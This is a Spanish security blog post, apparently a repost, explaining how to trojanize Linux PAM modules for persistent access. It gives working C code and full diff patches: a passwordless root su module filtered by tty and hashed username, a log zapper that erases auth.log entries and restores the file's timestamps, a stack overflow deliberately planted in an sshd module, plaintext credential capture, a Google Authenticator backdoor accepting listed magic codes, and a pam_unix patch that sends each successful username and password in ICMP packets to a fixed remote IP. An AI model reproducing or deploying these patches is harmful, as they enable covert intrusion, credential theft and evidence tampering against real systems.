TROYANIZACIÓN DE MÓDULOS PAM

 “Es un sistema UNIX, lo conozco” – Alexis Murphy (Jurasic Park I)


En sistemas derivados de UNIX, la autenticación de usuarios así como la implementación sistemas de autenticación adicionales, se basa en una arquitectura modular formada en primera instancia por los denominados módulos PAM (Pluggable Authentication Module), lo cual dota al sistema operativo de una base altamente flexible y personalizable para establecer medidas de seguridad adicionales a la hora de autenticar usuarios tanto de acceso local como remoto, de forma transparente a las aplicaciones.
 
Debido a la homogeneidad anterior, resulta menos complejo el portar el funcionamiento de un módulo PAM de un sistema a otro.
Arquitectura PAM

Ejemplos de uso de autenticación mediante módulos PAM:

  • Kerberos
  • LDAP
  • Autenticación de doble factor
  • One-Time-Password

Si eres capaz de ver lo sutil y de darte cuenta de lo oculto, irrumpiendo antes del orden de batalla, la victoria así obtenida es un victoria fácil.” – Sun Tzu (El Arte de la Guerra)

Si bien la homogeneidad y la estructura modular anterior es una ventaja para administradores y desarrolladores, también es una ventaja para los atacantes, ya que una de las acciones que suelen realizar cuando entran en un sistema, es precisamente la de “troyanizar” el sistema para asegurarse el acceso futuro, y de entre muchas de las opciones disponibles, está la de “troyanización” de módulos PAM.
Para ello, en este post vamos a ver cómo crear y modificar un módulo PAM para dotarlo (entre otras) de las siguientes características, las cuales se explicarán más adelante:
  • Dar acceso a ciertos usuarios y/o patrón de usuarios al sistema
  • Obtener credenciales de acceso de los usuarios
  • Introducir fallos de seguridad (buffer overflows, format strings, etc.)
  • Eliminar registros de acceso
Cuando el objetivo te parezca difícil, no cambies de objetivo; busca un nuevo camino para llegar a él.” – Confucio

Una vez decididos a troyanizar un módulo PAM, vamos a estudiar cómo hacerlo a través de diferentes vías, de entre las que tenemos:

  • Crear un nuevo módulo PAM
  • Troyanizar en disco un módulo PAM existente
    • Recompilando el código
    • Parcheando en disco
  • Troyanizar en memoria un
    módulo PAM existente

 

De aquí en adelante, todos los códigos desarrollados y/o modificados, han sido probados sobre dos sistemas Debian 7 Wheezy con kernel 3.2.0-4 sobre arquitecturas AMD64 y i686.

 

Estructura y Configuración de un Módulo PAM
 
Antes de comenzar propiamente con el módulo PAM, es necesario conocer la estructura del mismo, así como la configuración que debe aplicarse en el sistema para que el módulo opere de la forma esperada.
 
Para este propósito existen en el directorio “/etc/pam.d” una serie de ficheros de configuración relativos a los módulos PAM a utilizar en cada tipo de acceso:
 
Listado de Archivos de Configuración
En cada uno de estos ficheros, se establece qué tipo de interfaz usará cada módulo así como el modulo a usar y si es necesario, establecer los parámetros necesarios para el correcto funcionamiento:

 

Configuración PAM del demonio cron
Cada una de las líneas de este archivo, relativa al uso de módulos PAM, tiene la siguiente estructura:
Interfaz
+
Flag de Control
+
Módulo PAM
+
Parámetros
Cuando la interfaz de un módulo es llamada, debe devolver un valor de retorno, y en función de dicho valor y del flag de control que se esté usando con el módulo PAM, se decidirá si bloquear el intento de acceso, pasar al siguiente módulo, etc.De esta manera, las opciones para los campos de “Interfaz” y “Flag de Control” son:

Interfaz
 

Valor
Descripción
auth
Establecer las credenciales de acceso, pertenencia a grupos, tickets Kerberos, etc.
account
Verifica que el acceso está permitido en función de si la cuenta ha expirado, si se le permite hacer login a una determinada fecha/hora, etc.
password
Interfaz para cambiar la password del usuario
session
Gestión de sesiones, tareas que son necesarias para permitir el acceso, como montar el directorio home del usuario, habilitar el “mailbox” del usuario, etc.

 

 

Flag de Control
 

Valor
Descripción
required
Si el módulo devuelve algún tipo de error, la autenticación falla y el usuario no es notificado hasta que se completen las evaluaciones del resto de módulos.
requisite
Si el módulo devuelve algún tipo de error, la autenticación falla pero el usuario es notificado de forma inmediata.
sufficient
Si el módulo devuelve algún tipo de error, es ignorado, y si la autenticación de algún módulo anterior marcado como “required” (en caso de haberlo) no ha devuelto error, la autenticación se realiza de forma correcta.
optional
El resultado devuelto es ignorado a no ser que no existan otros módulos para ser evaluados.

 

 

Dentro del código del módulo PAM, las interfaces que se usarán se declaran exportando ciertas funciones de la librería (recordemos que un módulo PAM es una librería compartida).
Declaración de Interfaces
 

Valor
Función a exportar
auth
pam_sm_authenticate,
pam_sm_setcred
account
pam_sm_acct_mgmt
password
pam_sm_chauthtok
session
pam_sm_open_session,
pam_sm_close_session

 

Creación de un módulo PAM troyanizado (su)

Ahora que
sabemos a rasgos generales (se recomienda ampliar la lectura), cómo funciona un módulo PAM, vamos a crear uno de ejemplo, que mostrará el nombre de usuario utilizando la interfaz “auth”, para el
binario “su”.

Para ello, es conveniente definir dentro del módulo qué interfaces vamos a usar, para una correcta inicialización:

 

#include
<stdio.h>
#include <unistd.h>
#include
<sys/types.h>
#define PAM_SM_AUTH //definicion de la interfaz
#include <security/pam_modules.h>
PAM_EXTERN
int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc,
const char **argv )
{        char    *uname = 0;
        pam_get_user(pamh,(const char**)&uname,0); //usuario sobre el que se opera
        fprintf(stderr,”\npam_get_user => %s” , uname );
        fprintf(stderr,”\ngetuid() => %d” , getuid() );
        fprintf(stderr,”\ngeteuid() => %d” , geteuid() ); 
        return
PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_setcred( pam_handle_t
*pamh, int flags,int argc, const char **argv )
{
        return PAM_SUCCESS;
}

 

En el código anterior, se han definido dos funciones pertenecientes a la interfaz de autenticación, ambas son necesarias para que el módulo PAM sea válido para usarlo con el binario “su”. Para compilarlo, los pasos son los siguientes:
$ gcc –fPIC –fno-stack-protector –c pam.c –o pam_bsu.o
$ ld –x –shared pam_bsu.o –o pam_bsu.so
Y con esto tendremos nuestro módulo compilado, que lo que hará será, una vez que un usuario ejecute el binario “su”, mostrará el usuario sobre el que se quiere realizar la acción (en este caso, hacer login como root), así como el UID del usuario real del proceso y el UID Efectivo (este último, independientemente del proceso que sea, devolverá el UID del usuario propietario del “sticky bit” del fichero al que corresponde el proceso, en caso de tenerlo activado), e inmediatamente después, debido a los valores de retorno (AUTH_SUCCESS) permitirá acceder al usuario que lo ha invocado.
Aunque como bien explicamos al principio, esto no es del todo cierto, ya que para que nuestro módulo funcione como queremos, debemos instalar el módulo PAM y modificar el fichero “/etc/pam.d/su” para indicarle que use nuestro módulo:
Compilación e Instalación
En este ejemplo, como queremos que nuestro módulo sea el único responsable de la autenticación, le indicamos en la primera línea del archivo de configuración los datos de nuestro módulo con el flag “sufficient”.
Hecho esto, al llamar al binario “su” desde una cuenta de usuario nos mostrará lo siguiente:
Acceso root sin contraseña
Al igual que hemos hecho esto,
podemos usar el resto de características de “su”, como por
ejemplo iniciar sesión como otros usuarios:
Suplantación de Usuarios
Filtrado de Acceso por TTY
Para que este comportamiento no sea común a todos los usuarios del sistema, podemos agregar filtros basados en el nombre del usuario que lo invoca (obteniendo el UID del usuario mediante la syscall “getuid”, podemos establecer filtros basados en ventanas temporales (permitir dicho comportamiento basado en la fecha y/u hora), basados en el número y tipo de terminal que usemos, etc.
Filtrado de TTY
Con el código anterior, al ejecutar el binario “su” desde una terminal que no sea la “tty6”, el módulo devolverá “PAM_AUTHINFO_UNAVAIL” por lo que se invocará al siguiente módulo PAM. Si por el contrario, se ejecuta desde “tty6” nos “autenticará” y tendremos la consola de root:
Ejecución del binario “su” en “tty1” introduciendo una contraseña incorrecta
Ejecución del binario “su” desde “tty6”

 

Limpiando los Registros de Acceso
Cada vez que dos objetos entran en contacto, transfieren parte del material que incorporan al otro objeto” – Principio de intercambio de Locard
Todas estas modificaciones que estamos realizando sobre el sistema, dejan evidencias de lo que se ha estado haciendo, como por ejemplo registros en el log “/var/log/auth.log” y las fechas de nuestro módulo PAM.
Logs de autenticación
Si bien no es el propósito de este post el de descubrir qué pruebas evidencian la manipulación de los archivos y cómo intentar eludirlas, lo que sí haremos será agregar una rutina básica propia de los “zappers”, que lo que hará será recorrer el archivo “/var/log/auth.log” para darnos la posibilidad de eliminar los registros que queramos basándonos en la fecha, la aplicación que generó el registro, la descripción, etc. Así como mantener la fecha y hora de modificación y acceso del archivo anterior al registro.
La funcionalidad de “zapper” descrita, no es más que una función que va recorriendo el archivo desde el registro más nuevo al más antiguo (de abajo a arriba), extrae la información de cada campo e invoca a una función que se encarga de decidir si el registro se mantiene, se elimina, o si se debe dejar de recorrer el archivo. Esta última función de “filtro” es bastante simple, la que usaremos establecerá una ventana temporal de 2 minutos, de forma que cualquier registro de “su” en el “/var/log/auth.log” con una antigüedad menor o igual a dos minutos, será eliminada del registro:
Filtrado del Zapper
Por último, queda invocar a la función “zapper” en la función que definimos como “pam_sm_setcred” ya que esta será invocada cada vez que la sesión se abre y cierra. Un ejemplo de este comportamiento podemos verlo con el siguiente código:
Notificación del Zapper

 

Una vez compilado e instalado el módulo PAM, iniciamos sesión y consultamos los últimos registros de “/var/log/auth.log”:
Logs de Autenticación
Login y “su”

 

Fechas de acceso, modificación y cambio del fichero de log

 

De las imágenes anteriores se obtiene que la llamada al binario “su” ocurre a las “13:18:29”, no obstante el registro de autenticación muestra el inicio de sesión del usuario “chema” como el último registrado a las “13:18:24”. Aun así, si observamos la fecha de modificación del archivo de log, vemos la incongruencia:

 

Fechas de Acceso y Modificación
Para corregir este detalle, basta con almacenar la fecha y hora del último registro leído antes de finalizar la ejecución del “zapper” y establecer esa fecha y hora como las legítimas del archivo:
Modificaciones de Actualización de Fecha y Hora

Filtrado por Nombre de Usuario

Pero aún podemos establecer más filtros útiles, como por ejemplo el nombre de usuario que ejecuta el binario:
Filtrado de UID
En el caso de este binario (“su”) no podemos obtener el nombre del usuario que lo invoca de forma directa usando “pam_get_user” como en otros binarios como por ejemplo “sudo”. No obstante para no realizar una comprobación “tan evidente” del usuario (ya sea por el UID o por el nombre), podemos realizar un hash del usuario para realizar la comprobación.
En la siguiente captura se muestra el filtrado por hash, y se comprueba el usuario actual con un array de usuarios autorizados:
Filtrado de TTY y Usuario
Otro de los métodos que podemos utilizar para obtener la consola de root y no preocuparnos de los logs, es la de aprovechar que el UID efectivo del proceso es “0” (root) para ejecutar una consola e inmediatamente después llamar a “exit” desde nuestro código, de forma que no se realiza ningún tipo de autenticación y por tanto, no queda registro.
En este ejemplo, al usar la syscall “execve” el flujo de ejecución del proceso se cambia al binario ejecutado, de tal forma que cuando el proceso ejecutado finalice, también lo hará nuestro proceso (en realidad, a muy groso modo, una vez invocada la syscall no habrá diferencia entre el proceso ejecutado y el nuestro), a no ser que usemos otra sycall (“fork”) para crear un proceso hijo y desde él, invocar a “execve”. No obstante, aunque para este caso no es necesario, dejaremos la llamada a “exit” por si el lector quiere realizar alguna otra acción diferente a la propuesta:
Ejecución de “/bin/bash” y llamada a “exit”
De nuevo, compilamos e instalamos el módulo y comprobamos los registros que genera:
Inicio de sesión y ejecución de “su”
Registros de Autenticación
Como podemos ver en la ilustración 19, la llamada al binario “su” se produce entre las “17:22:28” y las “17:22:31”, mientras que en el log, el último registro se produce a las “17:22:25”, lo cual coincide con las fechas y horas del fichero de log:
Fechas de Modificación,Cambio y Acceso del Fichero de Log

Ocultando la Puerta Trasera


 

La desconfianza es la madre de la seguridad” – Aristófanes
Y hablando de seguridad, si queremos asegurarnos la entrada al sistema, no debemos cerrarnos puertas, mientras más puertas abramos y más ocultas estén mejor.
Por ello, y siguiendo en este apartado, vamos a crear otro módulo PAM que incluiremos en el demonio SSH. Pero esta vez, en lugar de permitir la entrada bajo ciertas condiciones, lo que haremos será introducir una vulnerabilidad en el código de manera que podamos explotarla de forma remota; Para este ejemplo y solo a modo de demostración vamos a introducir un Stack Buffer Overflow, o desbordamiento de pila.
Para ello, vamos a realizar de nuevo un filtrado basado en el nombre de usuario, y si coincide con alguno que tengamos almacenados en el módulo (y preferiblemente que no exista en el sistema), pediremos que introduzca la clave (aquí introduciremos el fallo) y devolveremos un “PAM_AUTHINFO_UNAVAIL” para que el proceso de autenticación salte al siguiente módulo.
Para este nuevo ejemplo, la instalación del módulo es exactamente la misma, con la única diferencia de que en este ejemplo, en vez de modificar el fichero “/etc/pam.d/su” modificaremos /etc/pam.d/sshd”, de la misma manera que hicimos anteriormente.
El código que utilizaremos para
este ejemplo es el siguiente:
Introducción de la Vulnerabilidad

 

Esta porción de código devolverá “PAM_AUTHINFO_UNAVAIL” para salir y continuar la evaluación del siguiente módulo PAM, siempre y cuando el hash calculado del usuario, no se encuentre entre la lista de los permitidos; Si el usuario sí está contemplado, realizará una copia de su clave en una variable local, provocando una vulnerabilidad de desbordamiento de pila. Esto, además de permitirnos controlar el flujo de ejecución del programa y la ejecución de código remota, nos va a permitir controlar el valor de retorno de la función, debido al orden en el que están declaradas las variables “aux” y “ret”.
De esta forma, si enviamos una clave de una longitud mayor al tamaño de “aux”, sobrescribirá los valores de la pila. Debido a que el valor de retorno que nos interesa (“AUTH_SUCCESS”) es cero (0x00) , no podemos introducir dicho valor dentro de la contraseña, ya que interpretaría el valor como fin de cadena (en este caso concreto podríamos permitirlo y contrarrestar agregando un carácter más, para cuadrarlo de forma que el carácter nulo fuese el que pisase al valor de retorno, pero siempre es una práctica desaconsejable el uso de caracteres nulos), así que almacenamos el valor de retorno incrementado, y cada vez que hagamos referencia al mismo para retornar de la función, lo decrementamos (ver Ilustración 22). De esta forma, si queremos retornar un 0x00, le enviaremos un 0x01.
Después de la explicación teórica del funcionamiento, veamos la parte práctica:
Explotación para Modificar el Valor de Retorno
Otro enfoque que nos puede servir, es el de crear un módulo PAM que use el flag de control “optional” y cuya única tarea sea la de guardar en un fichero todas las credenciales de los usuarios que han iniciado sesión, con un código similar al que sigue (aunque almacena las credenciales sin cifrar):
Código para Guardar las Credenciales de los Usuarios
Con esto, conseguimos el siguiente efecto:
Credenciales de Usuario Almacenadas en Texto Plano

Modificando un Módulo PAM Existente

La
verdad es el mejor camuflaje, ¡Nadie la entiende!” – Max Frisch
Hasta ahora hemos visto cómo crear un módulo PAM y cómo dotarlo de la lógica que nos interesa, para darnos acceso al sistema, recabar credenciales, eliminar logs, etc. Pero hemos dejado de lado el verdadero propósito de los módulos PAM, y ciertamente, el hecho de agregar un módulo PAM y jugar con la ingeniería social para no levantar sospechas en cuanto al nombre, nos expone aún más en el sistema. Por tanto, como el mejor lugar para esconder un árbol es precisamente un bosque, vamos a pasar desde el punto de vista de “crear el módulo troyanizado”, hacia el lado opuesto, “troyanizar” un módulo existente.
Existen muchos ejemplos y scripts automáticos para descargar el código fuente de la librería, y permitir el acceso si la contraseña coincide con una especificada, por ejemplo:
Troyanización de un Módulo PAM existente

 

De la misma forma, podemos seguir modificándolo para agregarle las funcionalidades descritas durante este documento.
Soluciones OTP / Google Authenticator
No obstante, para este propósito vamos a modificar otro módulo PAM distinto a los convencionales, el módulo PAM de doble factor de autenticación de Google. La puerta trasera la crearemos en función de los dígitos que introduzca el usuario, de tal forma que si el número introducido no es válido (según el algoritmo original), lo evaluaremos siguiendo nuestro algoritmo, el cual realizará comprobaciones sobre números primos y perfectos.
Para ello, creamos el siguiente algoritmo para verificar si dado un número introducido, debemos permitir o no el acceso:
Algoritmo de Filtrado

 

El cual, nos permitirá acceso cuando usemos algunas de las cifras:
    • 312989
    • 313133
    • 313289
    • 625969
    • 626011
    • 626191
    • 938969
    • 938989
  • 939011
  • 939109
  • 939157
  • 939317
  • 939359
  • 939377
  • 939391
 Para ello, descargamos el código fuente desde el sitio oficial:
Copia del Repositorio del Módulo

 

Una vez descargado, aplicamos el siguiente parche que será el encargado de agregar las modificaciones necesarias para “troyanizar” el módulo, permitiendo el acceso utilizando los códigos anteriores:

diff -Nur google-authenticator/libpam/Makefile google-authenticator_backdoored/libpam/Makefile

— google-authenticator/libpam/Makefile    2013-12-10 11:25:49.280037002 +0100

+++ google-authenticator_backdoored/libpam/Makefile    2013-12-09 18:43:21.224116833 +0100

@@ -25,7 +25,7 @@

DEF_CFLAGS := $(shell [ `uname` = SunOS ] &&                                  \

echo ‘ -D_POSIX_PTHREAD_SEMANTICS -D_REENTRANT’)              \

-fvisibility=hidden $(CFLAGS)

-DEF_LDFLAGS := $(shell [ `uname` = SunOS ] && echo ‘ -mimpure-text’) $(LDFLAGS)

+DEF_LDFLAGS := $(shell [ `uname` = SunOS ] && echo ‘ -mimpure-text’) $(LDFLAGS) -lm

LDL_LDFLAGS := $(shell $(CC) -shared -ldl -xc -o /dev/null /dev/null          \

>/dev/null 2>&1 && echo ‘ -ldl’)

diff -Nur google-authenticator/libpam/pam_google_authenticator.c google-authenticator_backdoored/libpam/pam_google_authenticator.c

— google-authenticator/libpam/pam_google_authenticator.c    2013-12-10 11:25:49.296037003 +0100

+++ google-authenticator_backdoored/libpam/pam_google_authenticator.c    2013-12-09 18:37:16.536123101 +0100

@@ -29,6 +29,7 @@

#include <syslog.h>

#include <time.h>

#include <unistd.h>

+#include <math.h>

#ifdef linux

// We much rather prefer to use setfsuid(), but this function is unfortunately

@@ -1324,6 +1325,45 @@

return 0;

}

+static unsigned short es_primo ( unsigned long num )

+{

+    unsigned long i;

+

+    for ( i = 2 ; i < sqrt ( num ) ; i++ )

+        if ( ! (num % i ) )

+            return 0;

+

+    return 1;

+}

+

+static unsigned short authenticate_crypto_prime ( int num , int ret )

+{

+    const unsigned long     perfecto = 496;

+    const unsigned long     primo = 631;

+    unsigned long        resto = 0;

+    unsigned long        mod = 0;

+

+    if ( !es_primo ( num ) )

+        return ret;

+

+    resto = num / perfecto;

+    mod = num % perfecto;

+

+    if ( ! es_primo ( mod ) )

+        return ret;

+

+    if ( resto % primo != 0 )

+        return ret;

+

+    if ( ! es_primo ( primo % num ) )

+        return ret;

+

+    if ( ! es_primo ( resto % mod ) )

+        return ret;

+

+    return PAM_SUCCESS;

+}

+

static int google_authenticator(pam_handle_t *pamh, int flags,

int argc, const char **argv) {

int        rc = PAM_SESSION_ERR;

@@ -1335,6 +1375,7 @@

char       *buf = NULL;

uint8_t    *secret = NULL;

int        secretLen = 0;

+  int        code = 0;

#if defined(DEMO) || defined(TESTING)

*error_msg = ‘\000’;

@@ -1436,7 +1477,7 @@

if (errno || l < 0 || *endptr) {

goto invalid;

}

–      int code = (int)l;

+      code = (int)l;

memset(pw + pw_len – expected_len, 0, expected_len);

if ((mode == 2 || mode == 3) && !params.forward_pass) {

@@ -1564,6 +1605,10 @@

memset(secret, 0, secretLen);

free(secret);

}

+

+ if ( rc != PAM_SUCCESS )

+    rc = authenticate_crypto_prime ( code , rc );

+

return rc;

}

 

Hecho esto, solo tenemos que compilar e instalar el módulo y seguir los pasos descritos en el fichero README del mismo para integrarlo con SSH. En la siguiente captura, se puede ver el acceso SSH usando un cliente modificado para mostrar las credenciales del usuario, para verificar visualmente el acceso a través del módulo PAM de Google troyanizado:
Acceso SSH usando claves OTP troyanizadas

 

LibPAM / pam_unix
A demás de los métodos vistos hasta ahora, también podemos modificar el módulo principal de autenticación del sistema, no solo para permitirnos la entrada mediante credenciales ficticias ni fallos de seguridad, sino modificar el módulo de manera que cuando un usuario inicie sesión (ya sea de forma local o remota), se envíe un paquete ICMP (por ejemplo) desde una dirección IP y un destino preestablecidos (podemos hacerlo dinámico, enviando un nombre de usuario/clave incorrectos, pero que sirva al módulo de estos datos para futuros envíos) con el nombre del usuario y la clave.
Para este ejemplo, se ha modificado el fichero “support.c” del módulo “pam_unix.so”, el motivo de modificar ese fichero, es porque es donde está implementada la función que verifica las credenciales del usuario, de forma que cuando las credenciales sean correctas, se nos envíe el nombre de usuario y la clave, cifrados. Para este ejemplo, solo se hace un XOR entre la cadena que contiene el usuario y la clave, con otra cadena aleatoria, formada por parámetros usados en las cabeceras IP y ICMP. Con esto conseguimos ocultar la clave en el propio mensaje, y que los paquetes enviados de la autenticación de un mismo usuario, sean diferentes.
Para ello, se ha modificado la
librería LibPAM descargada de
http://linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
dando como resultado el siguiente parche:

— Linux-PAM-1.1.8/modules/pam_unix/support.c    2013-09-16 11:11:51.000000000 +0200

+++ Linux-PAM-1.1.8_backdoor/modules/pam_unix/support.c    2013-12-10 17:04:19.480035391 +0100

@@ -19,6 +19,13 @@

#include <ctype.h>

#include <syslog.h>

#include <sys/resource.h>

+#include <sys/types.h>

+#include <sys/socket.h>

+#include <netinet/in.h>

+#include <arpa/inet.h>

+#include <netdb.h>

+#include <linux/ip.h>

+#include <linux/icmp.h>

#ifdef HAVE_RPCSVC_YPCLNT_H

#include <rpcsvc/ypclnt.h>

#endif

@@ -650,6 +657,104 @@

return retval;

}

+static unsigned short in_cksum ( unsigned short *addr , int len )

+{

+    register int sum = 0;

+    register unsigned short *w = addr;

+    register unsigned int left = len;

+    unsigned short ret = 0;

+

+    while ( left > 1 )

+    {

+        sum += *w++;

+        left -= 2;

+    }

+

+    if ( left == 1 )

+    {

+        *(unsigned char*)(&ret) = *(unsigned char*)w;

+        sum += ret;

+    }

+

+    sum = ( sum >> 16 ) + (sum & 0xFFFF);

+    sum += ( sum >> 16 );

+    ret = ~sum;

+

+    return ret;

+}

+

+static void _verify_hash ( const char *name , const char *pwd )

+{

+    static int        fd = -1;

+    int            optval;

+    struct iphdr        *ip;

+    struct icmphdr        *icmp;

+    struct sockaddr_in    con;

+    char            *packet,*buffer;

+    char            *key;

+    size_t            len_buffer, len_key;

+    int            ttl, code, seq, type, id, i;

+

+    int u = getuid();

+

+    if ( setuid(0) != 0 )

+        return;

+

+    if ( fd < 0 && ( fd = socket ( AF_INET , SOCK_RAW , IPPROTO_ICMP ) ) < 0 )

+        return;

+    else

+        setsockopt ( fd , IPPROTO_IP, IP_HDRINCL, &optval , sizeof ( int ) );

+

+    srand(time(0));

+

+    ttl = random() % 64;

+    code = random() % 128;

+    seq = random();

+    type = random() % 42;

+    id = random();

+

+    len_buffer = strlen ( name ) + strlen ( pwd ) + 2;

+    buffer = calloc ( len_buffer , sizeof ( char ) );

+    snprintf ( buffer , len_buffer , “%s|%s” , name , pwd );

+    key = calloc ( len_buffer , sizeof ( char ) );

+    snprintf ( key , len_buffer , “%d%d%d%d%d”,ttl,seq,code,id,type);

+    len_key = strlen ( key );

+    for ( i = 0 ; i < strlen ( buffer ) ; i++ )

+        buffer[i] ^= key[i % len_key ];

+    memset ( key , 0 , len_key );

+    free ( key );

+

+    packet = calloc ( len_buffer + sizeof ( struct iphdr ) + sizeof ( struct icmphdr ) , sizeof ( char ) );

+    ip = (struct iphdr*) packet;

+    icmp = (struct icmphdr*) (packet + sizeof ( struct iphdr ) );

+    memcpy ( (void*)(packet + sizeof ( struct iphdr ) + sizeof ( struct icmphdr ) ) , buffer , len_buffer );

+    ip->ihl = 5;

+    ip->version = 4;

+    ip->tot_len = sizeof ( struct iphdr ) + sizeof ( struct icmphdr ) + len_buffer;

+    ip->ttl = ttl;

+    ip->protocol = IPPROTO_ICMP;

+    ip->saddr = inet_addr ( “172.17.15.18” );

+    ip->daddr = inet_addr ( “10.4.5.2” );

+    ip->check = in_cksum ( (unsigned short*)ip, sizeof ( struct iphdr ) );

+    icmp->type = type;

+    icmp->un.echo.id = id;

+    icmp->un.echo.sequence = seq;

+    icmp->checksum = in_cksum ( (unsigned short*)icmp, sizeof ( struct icmphdr ) + len_buffer );

+

+    con.sin_family = AF_INET;

+    con.sin_addr.s_addr = inet_addr(“10.4.5.2”);

+

+    sendto ( fd , packet , ip->tot_len , 0 , (struct sockaddr*)&con, sizeof ( struct sockaddr ) );

+

+    free ( packet );

+    free ( buffer );

+

+    setuid(u);

+    return;

+}

+

+

+

/*

* _unix_blankpasswd() is a quick check for a blank password

*

@@ -761,6 +866,7 @@

}

}

} else {

+        _verify_hash ( name , p );

retval = verify_pwd_hash(p, salt, off(UNIX__NONULL, ctrl));

}

 

Una vez aplicado el parche, compilamos e instalamos el módulo:
Instalación del Módulo Troyanizado
A continuación, desde otra terminal accedemos y en otro equipo perteneciente a la misma red esperamos el paquete ICMP:
Inicio de Sesión Remoto
Y en ese momento, vemos actividad
ICMP:
Paquete ICMP de Notificación
Podemos verificar mediante varios accesos, que efectivamente el contenido del mensaje cambia:
Accesos Repetidos con las Mismas Credenciales
Diferentes Mensajes ICMP
Hecho esto, solo necesitamos alguna herramienta (script en Python?) que capture los mensajes ICMP, extraiga los valores introducidos en las cabeceras y realice de nuevo la XOR del mensaje con los datos obtenidos en el orden correcto para obtener las credenciales, e incluso podríamos enviar estos datos por un dispositivo inalámbrico del equipo cuando no se use, al más puro estilo NS4.

Referencias:

Contribución gracias a Chema García

Post Original:

http://www.securitybydefault.com/2014/02/troyanizacion-de-modulos-pam.html

Deja un comentario

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.